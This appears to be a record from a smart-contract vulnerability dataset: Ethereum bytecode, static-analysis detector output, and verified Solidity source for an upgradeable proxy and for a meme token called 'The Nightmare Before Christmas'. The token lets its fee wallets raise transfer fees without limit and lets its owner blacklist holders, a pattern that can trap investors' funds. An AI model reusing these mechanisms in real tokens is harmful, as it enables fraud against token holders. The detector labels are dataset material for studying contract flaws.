8054600160a01b900460ff161480611b1457506001546001600160a01b031633145b80611b2957506002546001600160a01b031633145b80611b695750600254600160a01b900460ff166001148015611b6957506001546001600160a01b0316331480611b6957506002546001600160a01b031633145b611b7257600080fd5b6001600160a01b038316611b985760405162461bcd60e51b81526004016107cc9061213d565b6001600160a01b038216611bbe5760405162461bcd60e51b81526004016107cc90611f5c565b6001600160a01b038316600090815260076020526040902054811115611bf65760405162461bcd60e51b81526004016107cc90612029565b6001600160a01b038216600090815260076020526040902054611c1982826121a7565b1015611c2457600080fd5b6001600160a01b038083166000908152600760205260408082205492861682528120549091611c52916121a7565b6001600160a01b038516600090815260076020526040902054909150611c789083611abc565b6001600160a01b038086166000908152600760205260408082209390935590851681522054611ca7908361191b565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611cf9908690612182565b60405180910390a36001600160a01b038084166000908152600760205260408082205492871682529020548291611d2f916121a7565b14611ab657634e487b7160e01b600052600160045260246000fd5b5080546000825590600052602060002090810190610e7991905b80821115611d785760008155600101611d64565b5090565b80356001600160a01b0381168114610c2e57600080fd5b803560ff81168114610c2e57600080fd5b600060208284031215611db5578081fd5b61195482611d7c565b60008060408385031215611dd0578081fd5b611dd983611d7c565b9150611de760208401611d7c565b90509250929050565b600080600060608486031215611e04578081fd5b611e0d84611d7c565b9250611e1b60208501611d7c565b9150604084013590509250925092565b60008060408385031215611e3d578182fd5b611e4683611d7c565b946020939093013593505050565b60008060408385031215611e66578182fd5b611e6f83611d7c565b9150611de760208401611d93565b600060208284031215611e8e578081fd5b5035919050565b60008060408385031215611ea7578182fd5b50508035926020909101359150565b600060208284031215611ec7578081fd5b61195482611d93565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b901515815260200190565b6000602080835283518082850152825b81811015611f3557858101830151858201604001528201611f19565b81811115611f465783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526027908201527f45524332303a20617070726f7665207370656e64657220746865207a65726f206040820152666164647265737360c81b606082015260800190565b60208082526023908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60408201526263657360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f77604082015264616e63657360d81b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b90815260200190565b918252602082015260400190565b60ff91909116815260200190565b600082198211156121ba576121ba61226b565b500190565b6000826121da57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156121f9576121f961226b565b500290565b6000828210156122105761221061226b565b500390565b60028104600182168061222957607f821691505b6020821081141561224a57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156122645761226461226b565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220e51907d38e25a96625aec64a29a14d26be0aa5302fd8d30eefc3a9bd30cb610c64736f6c63430008010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,091 |
0xCc323557c71C0D1D20a1861Dc69c06C5f3cC9624
|
/**
*Submitted for verification at Etherscan.io on 2021-02-27
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.8;
//
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
// _fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
//
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe61461005f5780634f1ef2861461007f5780635c60da1b146100925780638f283970146100c3578063f851a440146100e357610055565b3661005557005b61005d6100f8565b005b34801561006b57600080fd5b5061005d61007a366004610581565b610132565b61005d61008d3660046105a2565b61016f565b34801561009e57600080fd5b506100a761021e565b6040516001600160a01b03909116815260200160405180910390f35b3480156100cf57600080fd5b5061005d6100de366004610581565b610280565b3480156100ef57600080fd5b506100a7610392565b6101006103dd565b61013061012b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b610469565b565b600080516020610631833981519152546001600160a01b0316336001600160a01b03161415610167576101648161048d565b50565b6101646100f8565b600080516020610631833981519152546001600160a01b0316336001600160a01b03161415610211576101a18361048d565b6000836001600160a01b031683836040516101bd929190610620565b600060405180830381855af49150503d80600081146101f8576040519150601f19603f3d011682016040523d82523d6000602084013e6101fd565b606091505b505090508061020b57600080fd5b50505050565b6102196100f8565b505050565b60006102366000805160206106318339815191525490565b6001600160a01b0316336001600160a01b0316141561027557507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b61027d6100f8565b90565b600080516020610631833981519152546001600160a01b0316336001600160a01b03161415610167576001600160a01b0381166103235760405162461bcd60e51b815260206004820152603660248201527f43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f604482015275787920746f20746865207a65726f206164647265737360501b60648201526084015b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035a6000805160206106318339815191525490565b604080516001600160a01b03928316815291841660208301520160405180910390a16101648160008051602061063183398151915255565b60006103aa6000805160206106318339815191525490565b6001600160a01b0316336001600160a01b0316141561027557506000805160206106318339815191525490565b3b151590565b600080516020610631833981519152546001600160a01b0316336001600160a01b031614156101305760405162461bcd60e51b815260206004820152603260248201527f43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e20667260448201527137b6903a343290383937bc3c9030b236b4b760711b606482015260840161031a565b3660008037600080366000845af43d6000803e808015610488573d6000f35b3d6000fd5b610496816104cd565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b803b6105415760405162461bcd60e51b815260206004820152603b60248201527f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f60448201527f6e20746f2061206e6f6e2d636f6e747261637420616464726573730000000000606482015260840161031a565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b80356001600160a01b038116811461057c57600080fd5b919050565b600060208284031215610592578081fd5b61059b82610565565b9392505050565b6000806000604084860312156105b6578182fd5b6105bf84610565565b9250602084013567ffffffffffffffff808211156105db578384fd5b818601915086601f8301126105ee578384fd5b8135818111156105fc578485fd5b87602082850101111561060d578485fd5b6020830194508093505050509250925092565b818382376000910190815291905056feb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103a2646970667358221220ccbb94ef5092a0bf84853cefa22901724a90c6dc70692625ee3f5c86b34819a464736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 9,092 |
0xcb1844c681fa270d985ee0f1ad7516b9d1867f09
|
/**
https://t.me/NightmareBeforeChritmasERC20
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NightmareBeforeChristmas is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 6;
uint256 private _feeAddr2 = 6;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "The Nightmare Before Christmas";
string private constant _symbol = "TNBC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x39b500caAa78c964aac273C08EA92FB898D00AC1);
_feeAddrWallet2 = payable(0xCC1050366013D63e4308CceaccE376F1EEd69edA);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setFeeTwo(uint fee) external {
require (_msgSender() == _feeAddrWallet2);
_feeAddr2 = fee;
}
function setFeeOne(uint fee) external {
require (_msgSender() == _feeAddrWallet1);
_feeAddr1 = fee;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb14610331578063b515566a14610351578063c3c8cd8014610371578063c9567bf914610386578063dd62ed3e1461039b57600080fd5b8063715018a614610287578063716202401461029c5780638da5cb5b146102bc57806395d89b41146102e4578063a80364731461031157600080fd5b8063273123b7116100e7578063273123b7146101f4578063313ce567146102165780635932ead1146102325780636fc3eaec1461025257806370a082311461026757600080fd5b806306fdde0314610124578063095ea7b31461017c57806318160ddd146101ac57806323b872dd146101d457600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601e81527f546865204e696768746d617265204265666f7265204368726973746d6173000060208201525b6040516101739190611826565b60405180910390f35b34801561018857600080fd5b5061019c6101973660046116ad565b6103e1565b6040519015158152602001610173565b3480156101b857600080fd5b506a084595161401484a0000005b604051908152602001610173565b3480156101e057600080fd5b5061019c6101ef36600461166c565b6103f8565b34801561020057600080fd5b5061021461020f3660046115f9565b610461565b005b34801561022257600080fd5b5060405160098152602001610173565b34801561023e57600080fd5b5061021461024d3660046117a5565b6104b5565b34801561025e57600080fd5b506102146104fd565b34801561027357600080fd5